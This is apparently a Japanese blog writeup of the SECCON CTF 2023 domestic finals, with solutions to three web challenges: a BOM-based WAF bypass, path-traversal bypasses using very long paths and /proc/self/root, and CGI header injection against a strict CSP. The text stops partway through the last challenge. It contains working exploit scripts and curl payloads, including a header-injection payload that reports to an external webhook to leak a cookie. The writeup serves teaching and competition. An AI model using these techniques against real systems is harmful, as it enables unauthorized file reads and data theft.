st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

SECCON CTF 2023国内決勝大会の参加記(writeup)

12/23 - 12/24という日程で、オンサイト形式@浅草橋で開催された。12/23の11時開始で12/24の17時終了ということで30時間の競技だった。昨年度大会に引き続きkeymoonさんとのふたりチームであるCyberMidori*1*2で参加し、準優勝した🥈

順位は終始なかなかいい感じに推移しており*3、また最終的に2位でフィニッシュできたのは嬉しいものの、チーム:( *4に連覇を阻まれてしまったというのもあり悔しい気持ちもある。2, 3問は解かなければ勝てない点差をつけられていたので完敗だ。今回も問題のクオリティが(難易度も)高く、とても楽しめたのでよし。

リンク:

机の上
2nd!

大会やチームについて

ルール

その詳細についてはここでは述べない(詳しくは前回大会のwriteupなどを参照されたい)が、SECCON CTFの決勝大会は例年King of the Hill(KotH)というルールのみか、それとJeopardyとを両方出題するという形式になっていた。しかしながら、今年度大会はJeopardyのみの出題という構成になっていた。カテゴリの構成もWeb, Crypto, Reversing, Pwn, Miscという一般的なものであった。特に前回大会のような形式のKotHは、誰かしらがその問題に張り付かなければならないということで人数の少ない我々にとってはつらい。今回はのびのびとJeopardyの問題を解くことができたので、少なくとも我々にとってはこの変更はプラスに働いたと思う。

昨年度大会はJeopardyとKotHの両方が出ていたけれども、KotHが2問出題された2日目はふたりとも一日中KotHの問題を解いており、Jeopardyになかなか手を出すことができなかった。その際のwriteupでも言及していたが、ポイントは勝者総取りではなく各ラウンドの終了時に何らかのスコアに基づいて分配されるというルールであり、かつラウンドの間隔が短い。したがって、得意な分野ではないから微妙な順位しか取れず微妙なポイントしか得られないだろうと確信していたとしても、塵も積もれば山となるということで、やらなければ参加していたチームと大きな点差が開きかねない。「得点する」ためというよりは「失点しない」ために解いていると感じられてしまい、ややつらかった。問題の内容は面白くても、つらかった。KotHへの恨み節はこのくらいにしておく。

CTFの開始と同時に全問題が公開され、30時間ずっと同じ問題セットに挑戦し続けていた。スコアサーバや問題サーバが開いていたり、会場にいられたりするのは日中*5の8時間程度だったけれども、問題に関連するファイルを家やホテルに持ち帰れば、そのまま続きを遊べるようにもなっていた。徹夜もしたければできる*6

前回大会のJeopardyではStatic Scoringということで、各問題に運営の主観で決められたポイントが割り振られており、解いたチームが多くても少なくてもポイントは変化しないという方式が採用されていた。今回はJeopardyのみであるからか、Dynamic Scoringとよばれる、解いたチームの数に応じて各問題を解くことで得られるポイントが変化していく方式が採用されていた。解いたチームが多ければポイントは少ないし、少しのチームしか解いていなければ、得られるポイントは多くなる。

可視化システム

サムズアップしてくれるkurenaifさん

参加者以外でも競技の状況を把握できるよう可視化するシステムが一新されており、次のツイートのような形で、現在のランキングや各チームがどのカテゴリでどれほど解いているかが確認できるようになっていた。この動画でもその様子が見られるけれども、問題が解かれるとどのチームが解いたかが表示されるようになっている。また、たまにkurenaifさんがサムズアップしてくれる。してくれないときもある。競技終盤ではいつ抜かされるかとビクビクしていたので、正解音を聞くと緊張して、それが国際大会側の通知であることを確認すると安心し、そうでなければどこが何を解いたかを確認するという様子だった。

なお、このシステムのほかにもスコアサーバでも(いちいちページをたどる必要があるが)各チームの正答状況やランキングを確認できたし、Discordでも国内・国際かかわらず(つまり、自分の出場している部門とは異なる方の正答であっても)どのチームの誰が、いつ、どの問題を解いたかという状況が投稿されていた。これだけの素早さで解ける問題なのだなとか、この人が得意そうな問題なのだなといった細かな推測に使えるわけだ。あとDiscordでは👏、first bloodであれば🥇といったリアクションもついて楽しい。

Discordの正答ログ

やっていたこと・やってよかったこと

今回はKotHがなかったので、我々は前回のwriteupのように長々と書けるようなことは特にしていない。keymoonさんがCrypto, Pwn, Miscなど、私がWeb, あとWebっぽいMiscが1問あったのでそれを担当していた。

上述のようにReversingも主なカテゴリとして存在していたが、注力しないという方針だった。注力しないというよりも、リソースが足りず注力しようにもできなかったという方が正しいかもしれない。Reversingは、SECCONでは時間をかけさえすれば解けるであろう問題が出る傾向にあると認識している。裏返すと、時間をかけなければ解けない。我々はふたりとも得意分野だと言えるほどReversingに長けているわけではないので、相対的にリソースの多い他チームに勝つためには、自分たちがより得意だと考える分野に時間を投下して、より少ない努力でより多いポイントを得られる可能性に賭けたかった。

以降は個人的にやっていたこと、やってよかったことについて。もっとも重要なのは睡眠で、昨年度は1日目に自宅に帰った後も諦めずほぼ朝まで問題に挑戦していたため、3時間程度しか睡眠を取っておらず、2日目は眠気に襲われつつKotHに挑むことになってしまっていた。今年度は6時間程度*7寝て、問題をちゃんと解ける程度には集中力を維持できていたと思う。

ICC 2023の直前に安物ではあるがモバイルモニタを購入*8しており、それを会場に持ち込んで使用していた。自宅では基本的にデュアルディスプレイで作業をしているので、またCTFでは特に開くウィンドウが多いので、これが非常に役立った。昨年のwriteupで後悔のひとつとして挙げていたが、やはり持ち込んでよかったと思う。

競技時間中に解いた問題

[Web 276] babywaf (4 solves)

Do you want a flag? 🚩🚩🚩

(問題サーバのURL)

添付ファイル: babywaf.tar.gz

author: Ark

docker-compose.yml は次のとおり。proxybackend がおり、フラグを持っているのは後者だ。

services:
  proxy:
    build: ./proxy
    restart: unless-stopped
    ports:
      - 3000:3000
  backend:
    build: ./backend
    restart: unless-stopped
    environment:
      - FLAG=SECCON{dummy}

backend の方から見ていく。req.bodygivemeflag というキーが存在しているかを確認しており、もしあればフラグが得られる。{"givemeflag":123} のようなJSONを投げればよいはずだ。

const express = require("express");
const fs = require("fs/promises");

const app = express();
const PORT = 3000;

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

app.use(express.json());

app.post("/", async (req, res) => {
  if ("givemeflag" in req.body) {
    res.send(FLAG);
  } else {
    res.status(400).send("🤔");
  }
});

app.get("/", async (_req, res) => {
  const html = await fs.readFile("index.html");
  res.type("html").send(html);
});

app.listen(PORT);

proxy は次のようなコードで、プロキシとして backend との橋渡しをしてくれるのだけれども、JSONに givemeflag が含まれるとブロックするというWAFっぽい機能がある。困る。また、こちらはExpressではなくFastifyで書かれている。

const app = require("fastify")();
const PORT = 3000;

app.register(require("@fastify/http-proxy"), {
  upstream: "http://backend:3000",
  preValidation: async (req, reply) => {
    // WAF???
    try {
      const body =
        typeof req.body === "object" ? req.body : JSON.parse(req.body);
      if ("givemeflag" in body) {
        reply.send("🚩");
      }
    } catch {}
  },
  replyOptions: {
    rewriteRequestHeaders: (_req, headers) => {
      headers["content-type"] = "application/json";
      return headers;
    },
  },
});

app.listen({ port: PORT, host: "0.0.0.0" });

この「WAF」が何をしているか細かく見ていく。req.body がオブジェクトであればそれについて、オブジェクトでなければ JSON.parse でJSONとしてパースしたオブジェクトについて、givemeflag というキーが含まれていないかを確認している。なぜわざわざそのようなことをするのか。Fastifyは Content-Type に基づいて自動でリクエストボディをパースして req.body に格納してくれるのだけれども、application/json を与えるとJSONとしてパースしてくれるし、text/plain を与えると生のままとなる。わざわざ JSON.parse している処理は、text/plain が与えられた場合を想定しているのだろう。

なぜかtry-catchの中でこの処理を行っていることから、text/plain で怪しいJSONを与えて JSON.parse を失敗させればよいのではないかと思う。rewriteRequestHeadersContent-Typeapplication/json に変えた上で backend に渡しているのもまた怪しい。JSON.parse はパースに失敗するけれども、backend のExpressが使用するJSONパーサではパースに成功してくれるような魔法のJSONはないだろうか。

backend のコードでは app.use(express.json());express.json が使われているが、これは body-parserlib/types/json.js に実装がある。最終的に JSON.parse が呼ばれはするものの、何やら Content-Type から application/json; charset=utf-8 の後半部分のような文字コードを抽出しており、その文字コードに基づいて iconv.decode でデコードされる。

この iconviconv-lite というパッケージだ。このパッケージはBOMを外す処理を実装しており、かつ stripBOM というBOMを外すかどうかのオプションがあるけれども、これはデフォルトで有効化されている。したがって、次のようにリクエストボディの頭にBOMがある場合は、それが消されるということになる。

> var iconv = require('iconv-lite')
undefined
> iconv.decode([239, 187, 191, 104, 111, 103, 101], 'utf-8')
'hoge'
> iconv.decode([239, 187, 191, 104, 111, 103, 101], 'utf-8').charCodeAt(0)
104
> iconv.decode([239, 187, 191, 104, 111, 103, 101], 'utf-8').length
4

JSON.parse はBOMが付いていた場合にどのような処理をするか。投げてみると、なんとエラーを吐いた。これを使えば、JSON.parse はJSONのパースに失敗するものの、Express側では成功するという状況が作り出せる。

> JSON.parse('\ufeff{}')
Uncaught SyntaxError: Unexpected token '', "{}" is not valid JSON

次のようなスクリプトを実行するとフラグが得られた。

import requests
data = '\ufeff{"givemeflag":123}'.encode('utf-8')
r = requests.post('http://babywaf.dom.seccon.games:3000', headers={
    'Content-Type': 'text/plain; charset=utf-8',
    'Content-Length': str(len(data))
}, data=data)
print(r.text)
SECCON{**MAY**_in_rfc8259_8.1}

競技開始から30分ぐらいで解けた。CyberMidoriが国内・国際通してのfirst bloodだった。実は競技中は backend がExpressであることに気づいておらず、ずっとどちらもFastifyだと思っており、アフターパーティー中でArkさんに指摘されて知った。Fastifyは secure-json-parse というライブラリをJSONのパースに使っており、このライブラリにもBOMをスキップする処理があることに気づいて解けたという流れだった。ラッキーで解いている。

[Web 276] Plain Blog (4 solves)

No password for you!

(問題サーバのURL)

添付ファイル: plain-blog.tar.gz

author: Satoooon

与えられたURLにアクセスすると、次のように表示される。プレーンテキストだ。

/?page=membership にアクセスすると、次のようなテキストが表示される。プレミアムメンバーになると /premium が使えるようになってもっといい感じにページが読めるようになるらしく、またその利用にはパスワードを使うらしい。

Premium members of PlainBlog can enhance their page viewing experience. 

To become a premium member, please fill your password and access the following URL. 

/premium?password=[[PASSWORD]]&page=index

ソースコードは次の通り。//premium という2つのパスが存在している。先程言及した /premium を利用するためのパスワードは password.txt に格納されているようだ。/premium では最初にパスワードのチェックがされており、まず / に存在するであろう脆弱性を使ってそのパスワードを手に入れる必要があるのだろうと推測する。

/ の処理を見ていく。page/(クエリパラメータのpageの値).txt を読んでいるだけのシンプルな処理だが、いくつかチェックがある。os.path.join で読み込むファイルのパスを組み立てているので、それでPath Traversalが起きうることを考慮してか、絶対パスでないか(たとえば、/password を入力すると、join した返り値は /password.txt になってしまう)、ちゃんと page/ 下にいるか(../ で上のディレクトリに移動していないかを見ているのだろう)をチェックしている。

チェックを通ると os.path.normpath でわざわざパスの正規化をした上で、そのファイルを読んでいる。なぜチェックの後にまた加工をしているのか、TOCTOUが起こるのではないかと不思議に思う。また、ファイルを読んだ後にわざわざ contains_word(path, PASSWORD) と読んだファイルにパスワードが含まれていないかチェックされており、もしあればパスワードを取らないでくれと怒られる。

from flask import Flask, request, Response, render_template_string
import re

from util import *

app = Flask(__name__)
PASSWORD = read_file('password.txt')
PAGE_DIR = 'page'

def get_params(request):
    params = {}
    params.update(request.args)
    params.update(request.form)
    return params

@app.route('/', methods=['GET', 'POST'])
def index():
    page = get_params(request).get('page', 'index')

    path = os.path.join(PAGE_DIR, page) + '.txt'
    if os.path.isabs(path) or not within_directory(path, PAGE_DIR):
        return 'Invalid path'

    path = os.path.normpath(path)
    text = read_file(path)
    text = re.sub(r'SECCON\{.*?\}', '[[FLAG]]', text)

    if contains_word(path, PASSWORD):
        return 'Do not leak my password!'

    return Response(text, mimetype='text/plain')

@app.route('/premium', methods=['GET', 'POST'])
def premium():
    password = get_params(request).get('password')
    if password != PASSWORD:
        return 'Invalid password'

    page = get_params(request).get('page', 'index')
    path = os.path.abspath(os.path.join(PAGE_DIR, page) + '.txt')

    if contains_word(path, 'SECCON'):
        return 'Do not leak flag!'

    path = os.path.realpath(path)
    content = read_file(path)
    return render_template_string(read_file('premium.html'), path=path, content=content)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

ところで、within_directorycontains_wordutil.py で定義されている独自の関数だ。これらの処理は次のとおり。まず within_directory だけれども、resolve_dots という自前の処理でわざわざパスの正規化を試みている。その結果について、与えられたパスから始まっていないか startswith で判定するという素朴な処理になっている。これは怪しい。

contains_word については、os.path.exists でそのファイルが存在しているか、またファイルの中身に指定した文字列が含まれているかを確認し、そのいずれも成り立っていれば True だ。

import os

def resolve_dots(path):
    parts = path.split('/')
    results = []
    for part in parts:
        if part == '.':
            continue
        elif part == '..' and len(results) > 0 and results[-1] != '..':
            results.pop()
            continue
        results.append(part)
    return '/'.join(results)

def within_directory(path, directory):
    path = resolve_dots(path)
    return path.startswith(directory + '/')

def read_file(path):
    with open(os.path.abspath(path), 'r') as f:
        return f.read()

def contains_word(path, word):
    return os.path.exists(path) and word in read_file(path)

within_directoryを突破する

まずは最初のこれを突破したい。

    path = os.path.join(PAGE_DIR, page) + '.txt'
    if os.path.isabs(path) or not within_directory(path, PAGE_DIR):
        return 'Invalid path'

within_directory では resolve_dots という独自のパスの正規化処理が走っていると言ったけれども、それに脆弱性がないかを探す。つまり、本当はPath Traversalが発生しているにもかかわらず、page/ 下にいると判定させることはできないか。改めて within_directory の実装を見る。/ で区切って、各パーツについて ... のような特殊なものでないかをチェックしている。

ところで、hoge//fuga のように / を連続で使うとどうなるだろうか。その場合はまず parts['hoge','','fuga'] という空文字列が入っている配列になる。if part == '.' を見るとわかるように hoge/./fuga のようにパーツとして . が入るケースは想定されているようだけれども、空文字列については考慮されていない。したがって、results.append(part) まで進み、空文字列が results に追加される。

def resolve_dots(path):
    parts = path.split('/')
    results = []
    for part in parts:
        if part == '.':
            continue
        elif part == '..' and len(results) > 0 and results[-1] != '..':
            results.pop()
            continue
        results.append(part)
    return '/'.join(results)

aa//../bb.txt ならどうなるか。本来は aa/../bb.txt と同様にカレントディレクトリの bb.txt を返すべきであるところ、aa/bb.txt が返ってきてしまっている。

>>> resolve_dots('aa/../bb.txt')
'bb.txt'
>>> resolve_dots('aa//../bb.txt')
'aa/bb.txt'

これを利用して、次のように怪しい結果を resolve_dots に返させることができる。引数として与えたパスは明らかに ./password.txt を指すけれども、返り値は page/page/password.txt となっている。resolve_dots の返り値は within_directory の中でしか使われておらず、within_directory から戻った後の処理では元の path がそのまま以降のファイルの読み込み処理に使われることから、これでバイパスができる。

>>> resolve_dots('page/page///../../password.txt')
'page/page/password.txt'

/?page=page///../../password にアクセスすると、Do not leak my password! と表示された。確かにバイパスできているらしい。

contains_wordをバイパスする その1

さて、次はどうやってこの contains_word(path, PASSWORD) をバイパスするかだ。先程もちらっと見たように、contains_word でも read_file が呼び出されているが、この点がまず気になる。なぜこの場で PASSWORD in text のようにしてチェックしないのか。

    text = read_file(path)
    text = re.sub(r'SECCON\{.*?\}', '[[FLAG]]', text)

    if contains_word(path, PASSWORD):
        return 'Do not leak my password!'

contains_word を見ていく。なぜ os.path.exists(path) でわざわざそのパスが存在しているかを確認しているのかがとても気になる。もしここで存在していないということにできれば、contains_word は当然ながら False を返し、チェックがバイパスできるということになる。けれども、contains_word が呼び出される前の read_file(path) には成功してほしい。一見矛盾している。

def contains_word(path, word):
    return os.path.exists(path) and word in read_file(path)

read_file の実装を見る。なぜか os.path.abspath を通した上でそのファイルを読んでいる。

def read_file(path):
    with open(os.path.abspath(path), 'r') as f:
        return f.read()

つまり、path = os.path.normpath(path) の後の処理において、次のように read_fileopen に渡るのは abspath を通したパスであり、contains_wordos.path.exists に渡るのはそのままのパスであるという違いがある。その差異を使えないだろうか。

  • read_file: open(os.path.abspath(path)).read()
  • contains_word: os.path.exists(path)

適当に色々試していると、次のようにとんでもなく長いパスを os.path.exists に投げると、一定の長さを超えると急に False を返しだすことがわかった。

>>> os.path.exists('../' * 1000)
True
>>> os.path.exists('../' * 10000)
False

このまま open に渡されてもファイル名が長すぎると怒られるわけだけれども、先程も言ったように、read_file において open には os.path.abspath を通した結果が渡される。os.path.abspath は絶対パスに変換してくれるので、ちゃんと短い、普通のパスを返してくれる。

>>> open('../' * 10000 + 'etc/passwd').read()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 36] File name too long: '…'
>>> os.path.abspath('../' * 10000 + 'etc/passwd')
'/etc/passwd'

この差異を利用すればよい…と思いきや、../ を十分な回数繰り返したパスをクエリパラメータから指定すると、次のようにリクエスト行が長すぎるとBad Requestが出てしまった。

main.pypage = get_params(request).get('page', 'index')get_params という関数を使ってパラメータを取得している。この実装は次の通りで、ありがたいことにクエリパラメータだけでなく request.form も参照している。それならめちゃくちゃ長いパスを送っても許される。

def get_params(request):
    params = {}
    params.update(request.args)
    params.update(request.form)
    return params

これで /premium を利用するためのパスワードが得られた。

$ curl http://plain-blog.dom.seccon.games:3000/ -F "page=$(python3 -c 'print("page/"+"/"*1999+"../"*2000+"
app/password")')"
PASSWORD_1daf3acb1033d8924952f0e854dc5871d723a36cb56e711b274c743900b31287

contains_wordをバイパスする その2

次は /premium の処理を見ていく。/ と似たような流れ、似たようなチェックで今度は SECCON がファイルに含まれていないかを見ているが、一部が異なる。contains_wordos.path.exists にとても長いパスを渡してバイパスしたいが、先に os.path.abspath が走るようになってしまっている。これでは ../ を大量にくっつけたパスを送っても、絶対パスに変換されて ../ が消されてしまう。

contains_word の処理の後に os.path.realpath でまたパスの正規化を行い、その内容を読んでいる。os.path.realpath のドキュメントを読むと、どうやらこいつはシンボリックリンクを解決してくれるようだ。

@app.route('/premium', methods=['GET', 'POST'])
def premium():
    password = get_params(request).get('password')
    if password != PASSWORD:
        return 'Invalid password'

    page = get_params(request).get('page', 'index')
    path = os.path.abspath(os.path.join(PAGE_DIR, page) + '.txt')

    if contains_word(path, 'SECCON'):
        return 'Do not leak flag!'

    path = os.path.realpath(path)
    content = read_file(path)
    return render_template_string(read_file('premium.html'), path=path, content=content)

シンボリックリンクを解決する前は os.path.exists が失敗する程度に長く、解決した後は open が成功する程度に短いような絶対パスを作れないか。

まず思いついたのはprocfsの /proc/self/cwd でカレントディレクトリにアクセスすることだったけれども、現在のカレントディレクトリは /app であり、その下にはシンボリックリンクがないので詰む。../ を仕込んだとしても、abspath に消されてしまう。

次に /proc/self/root でルートディレクトリへアクセスすることを思いついた。これなら /proc/self/root/proc/self/root/… とずっと繰り返すことができるし、また realpath は次のようにいい感じに短いパスを返してくれる。

>>> os.path.realpath('/proc/self/root/' * 1000 + 'etc/passwd')
'/etc/passwd'

これを利用してフラグが得られた。

$ curl http://plain-blog.dom.seccon.games:3000/premium -F "password=PASSWORD_1daf3acb1033d8924952f0e854dc5871d723a36cb56e711b274c743900b31287" -F "page=$(python3 -c 'print("/proc/self/root/"*2000+"app/flag")')"
<!DOCTYPE html>
<html>
<head>
        <meta charset="utf-8">
        <title>/app/flag.txt</title>
</head>
<body>
        <marquee scrollamount="18" behavior="alternate">
                <pre>SECCON{play_with_path_mechanics}
</pre>
        </marquee>
</body>
</html>
SECCON{play_with_path_mechanics}

実は最近(言うほど最近でもないが)zer0pts CTF 2023で同名の問題を出題しており、問題名を見たときニヤッとした。CTFerは問題名にplain, simple, baby, warmupといった単語を使いがちだし、Webではそれにblog, note, share, bin*9といった単語がくっつきがち。被るのも不思議ではない。

[Web 388] cgi-2023 (2 solves)

CGI is one of the lost technologies.

Challenge: (問題サーバのURLその1)
Admin bot: (問題サーバのURLその2)

添付ファイル: cgi-2023.tar.gz

author: Ark

問題の概要

まず、Admin botが存在していることからXSS問かそれに類するものだろうと考える。docker-compose.yml は次の通り。

services:
  web:
    build: ./web
    restart: unless-stopped
    ports:
      - 3000:3000
  bot:
    build: ./bot
    restart: unless-stopped
    ports:
      - 1337:1337
    environment:
      - FLAG=SECCON{dummy}

bot のコードは次の通り。Webサーバの動いているドメイン名で FLAG というCookieをセットして、ユーザから与えられたURLにアクセスするというシンプルな処理だ。/^SECCON{[a-z_]+}$/ という少ない文字種からフラグが構成されているかということ、短いフラグであることが気になる。単純なXSS問であればもっと好きなフラグを設定すればよいだろうから、これはXS-Leaks問で、あえて候補を絞ってフラグを取得しやすくしているのだろうと推測する。

import puppeteer from "puppeteer";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

const APP_HOST = "web";
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;

if (!/^SECCON{[a-z_]+}$/.test(FLAG) || FLAG.length > 18) {
  console.log("Bad flag");
  process.exit(1);
}

const sleep = async (msec) =>
  new Promise((resolve) => setTimeout(resolve, msec));

export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/google-chrome-stable",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createIncognitoBrowserContext();

  try {
    const page = await context.newPage();
    await page.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });
    await page.goto(url, { timeout: 3 * 1000 });
    await sleep(60 * 1000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

web を見ていく。ctf.conf というApache HTTP Server用の設定ファイルがあり、これは次のようにCGIの設定をしているほか、常に default-src 'none' という凶悪なCSPが設定されるようにしている。つまり、画像だろうかスクリプトだろうが、どんなほかのリソースも読み込みが許されない。

LoadModule cgid_module modules/mod_cgid.so

ServerName main
Listen 3000

ScriptAliasMatch / /usr/local/apache2/cgi-bin/index.cgi
AddHandler cgi-script .cgi
CGIDScriptTimeout 1

Header always set Content-Security-Policy "default-src 'none';"

メインとなる index.cgi にはバイナリがコピーされてくるわけだけれども、そのソースコードは次の通り。大変シンプルだ。FLAG というCookieがセットされていれば、それを出力している。セットされていなければ Hello gophers👋 だ。

package main

import (
    "fmt"
    "net/http"
    "net/http/cgi"
    "strings"
)

func main() {
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        if q := r.URL.Query().Get("q"); q != "" && !strings.Contains(strings.ToLower(q), "status") {
            fmt.Print(q)
        }

        flag, err := r.Cookie("FLAG")
        if err != nil {
            fmt.Fprint(w, "Hello gophers👋")
        } else {
            fmt.Fprint(w, flag.Value)
        }
    })

    cgi.Serve(nil)
}

メッセージは fmt.Fprint(w, "Hello gophers👋") のように http.ResponseWriterwfmt.Fprint で書き込んでいるのだけれども、その前に q というクエリパラメータが存在していれば、その値を fmt.Print(q) で出力していることに着目する。w に書き込む書き込まないでどんな違いが生まれるか。ヘッダインジェクションだ。CGIっぽい。

$ curl -i "localhost:3000?q=hoge:fuga%0d%0apiyo"
HTTP/1.1 200 OK
Date: Mon, 25 Dec 2023 19:24:04 GMT
Server: Apache/2.4.58 (Unix)
hoge: fuga
piyoStatus: 200 OK
Content-Security-Policy: default-src 'none';
Transfer-Encoding: chunked
Content-Type: text/plain; charset=utf-8

Hello gophers👋

次のように(Golangが出力してくれる) StatusContent-Type をレスポンスボディとすることもできるけれども、一番潰したいCSPヘッダはGolangではなくApacheが出力しているものなので困る。

$ curl -i "localhost:3000?q=hoge:fuga%0d%0a%0d%0a"
HTTP/1.1 200 OK
Date: Mon, 25 Dec 2023 19:29:35 GMT
Server: Apache/2.4.58 (Unix)
hoge: fuga
Content-Security-Policy: default-src 'none';
Transfer-Encoding: chunked

Status: 200 OK
Content-Type: text/plain; charset=utf-8

Hello gophers👋

Content-Type を指定することももちろんできる。これでHTMLとして表示させることもできるわけだが、やはりCSPのためにできることがかなり限られる。

$ curl -i "localhost:3000?q=Content-Type:text/html%0d%0a%0d%0a<s>"
HTTP/1.1 200 OK
Date: Mon, 25 Dec 2023 19:45:40 GMT
Server: Apache/2.4.58 (Unix)
Content-Security-Policy: default-src 'none';
Transfer-Encoding: chunked
Content-Type: text/html

<s>Status: 200 OK
Content-Type: text/plain; charset=utf-8

Hello gophers👋

試行していたこと

色々考えて試しつつも失敗していたことを書いておく。答えだけ見たい方は次の見出しまでスキップのこと。

!strings.Contains(strings.ToLower(q), "status") と、ヘッダインジェクションのための qStatus が存在していないか確認している。そもそも Status とは何かと調べたところ、これはCGIのもので、返すステータスコードを指定できるらしかった。ほかにCGIならではのヘッダがないか確認したものの、仕様上は面白いものはなさそうだった。Apache側ではどうかと mod_cgid.c 等を確認したもの、やはりダメ。

なぜステータスコードの変更を弾いているのか、作為を感じて有用なステータスコードがないか調べたものの、特に気になるものはなかった。

CSPヘッダを複数送信できないかと考えたけれども、そもそもできたところで両方が同時に適用されるし…と思う。そもそも、次のように Content-Security-Policy ヘッダを仕込んでもApacheに書き換えられてしまう。

$ curl -i "localhost:3000?q=Content-Security-Policy:fuga%0d%0a%0d%0a"
HTTP/1.1 200 OK
Date: Mon, 25 Dec 2023 19:44:33 GMT
Server: Apache/2.4.58 (Unix)
Content-Security-Policy: default-src 'none';
Transfer-Encoding: chunked

Status: 200 OK
Content-Type: text/plain; charset=utf-8

Hello gophers👋

default-src 'none' というCSPが適用されていたとしても、meta 要素を使ったリダイレクトは許容される。これを使ってDangling Markup Injectionの要領で、<meta http-equiv=refresh content="1;https://example.com? のようなHTMLを仕込むことを考えた。しかしながら、そもそもインジェクション可能な箇所以降でどこにも > が含まれないので開始タグとして正しくない。

Location ヘッダを仕込むと、Apacheは次のようにステータスコードも302に変えてくれる。

$ curl -i "localhost:3000?q=Location:hoge%0d%0a"
HTTP/1.1 302 Found
Date: Mon, 25 Dec 2023 19:51:18 GMT
Server: Apache/2.4.58 (Unix)
Content-Security-Policy: default-src 'none';
Location: hoge
Content-Length: 188
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="hoge">here</a>.</p>
</body></html>

これを利用できるのではないかと考えた。HTTP/1.1ではLinear White Space(LWS)というものがあり、これを使うと次の行の出力をリークさせられる、あるいは無効化できるのではないかと思った。まず、検証のために次のようなPHPコードを用意する。

$ cat index.php
<?php
header("Location: /hoge?");
header(" fuga");
$ php -S localhost:8000

Chromeでこれにアクセスすると GET /hoge?%20fuga へのアクセスが発生しており、たしかにLWSで次の行が巻き込めていた。しかしながら、問題のCGIスクリプトで /?q=Location:hoge%0d%0a%20 にアクセスするとInternal Server Errorが返ってきてしまう。ログを見ると "429: Response header name ' Status' contains invalid characters, aborting request" と怒られていた。また、そもそもインジェクション箇所の次の行に来るのは Status ヘッダというどうでもいい情報なのだった。

別のDOMLeakifyという問題もまたXS-Leaksっぽく、そこからの流れで Content-Typex-mixed-replace を仕込むCSPバイパステクを思い出す。しかしながら、これに対応しているのはFirefoxのみで、今回botが使用しているのはGoogle Chromeだ。Google Chromeはサポートをやめている

Content-Type が変更できるということで、UTF-16など別の文字コードで出力させるのはどうかと考えた。/?q=Content-Type:text/html%3b%20charset=utf-16%0d%0a%0d%0ab で確かに次のように変更はできる。できるものの、たとえばフラグは 7b で終わるわけだが、これが > として解釈されるような文字コードがないかな、何かしらのリークができないかなというように色々考えたものの、当然ながらダメだった。

Set-Cookie ももちろん設定できる。Chromeは Path 属性で同じ名前のCookieが複数ある場合に、次のような形でCookieを送信する。

Cookie: FLAG=abc; FLAG=SECCON{DUMMY}

最近Cookieのパース処理の差異で、Cookieの内容をリークする問題のwriteupを読んだことを思い出す。記事中のコードをそのまま以下に載せるが、次のようにCookieの値に中途半端な形で " が含まれる場合にサーバ側でどう解釈されるという話だ。この場合は Cookie: a="mizu; aa=mizu" というようにヘッダが送信されるけれども、ここで a, aa というふたつのCookieがあると解釈されるか、それとも "mizu; aa=mizu" という値を持つ a というCookieのみがあると解釈されるか。

document.cookie = `a="mizu`;
document.cookie = `aa=mizu"`;

そもそもChromeはCookieのセットされた時刻順でソートして送信しているっぽいし、Golang側も最初に ; で区切る上に、その各パーツについて " で始まって " で終わっている場合に限って " を削除しているし、それ以外の箇所で " が出現すると有効なCookieでないとするのだった。

Access-Control-Allow-OriginAccess-Control-Allow-Credentials で無理やりにCookieの送信ができないかと考えたけれども、今回はCookieにフラグが含まれており、かつ SameSiteLax 相当の挙動をするということで、別のサイトからではCookieが送信されなくて困る。

iframe 要素の csp 属性(Embedded Enforcement)を使えないかとも考える。Editor's Draftを確認しているとAllow-CSP-Fromというヘッダがあることがわかったけれども、結局ApacheによってCSPヘッダが返されてしまうのでダメというところ。

Content-Security-Policy-Report-Only + Content-Length

Content-Length を仕込むとどうなるかが突然気になった。設定してみると、次のように Content-Length で指定した分だけ送信されていることがわかる。これを使って、1文字ずつ何かしらの方法でリークさせられないかと考えた。

$ curl -i "http://localhost:3000/?q=Content-Length:1%0d%0a"
HTTP/1.1 200 OK
Date: Mon, 25 Dec 2023 20:06:28 GMT
Server: Apache/2.4.58 (Unix)
Content-Security-Policy: default-src 'none';
Content-Length: 1
Content-Type: text/plain; charset=utf-8

H

レスポンスヘッダでレスポンスボディのチェックサムを送れ、ブラウザがそれを検証してもし異なっていればなんらかのエラーを発する、またそれが外から観測できるようだと嬉しいと考えた。Content-Length で出力させる文字数を調整できるということで、1文字ずつ出力させ、チェックサムをブルートフォースして、それが合っているか合っていないかを観測できれば、1文字ずつフラグが特定できるというわけだ。

ハッシュ値といえばということで、サブリソース完全性(SRI)のことを思い出す。しかしながら、link 要素の integrity 属性は使えそうではあるものの、やはり SameSite が邪魔をする。SameSite=None だったとしても、SRIの検証が失敗したかどうかをJSから観測できるかは知らんけれども。

CSPヘッダが複数送信された場合にどれも適用されるということで、Content-Security-Policy-Report-Only でCSPの違反があった場合に、外部にどんな違反が起こったかの情報を送信させることはできないかと考えた。/?q=Content-Type%3Atext/html%0D%0AContent-Security-Policy-Report-Only:default-src%20'none'%3B%20report-uri%20https://webhook.site/4499fc78-350f-4e4d-b070-4b69bd135e52%0D%0A%0D%0A<style> のようにして、Content-Security-Policy-Report-Only を仕込む。レスポンスボディを <style> で始めさせることで、style 要素の内容としてフラグを含ませつつCSP違反させて、その内容をリークさせられないかを試みる。しかしながら、次のように style 要素の内容は含まれていなかった。

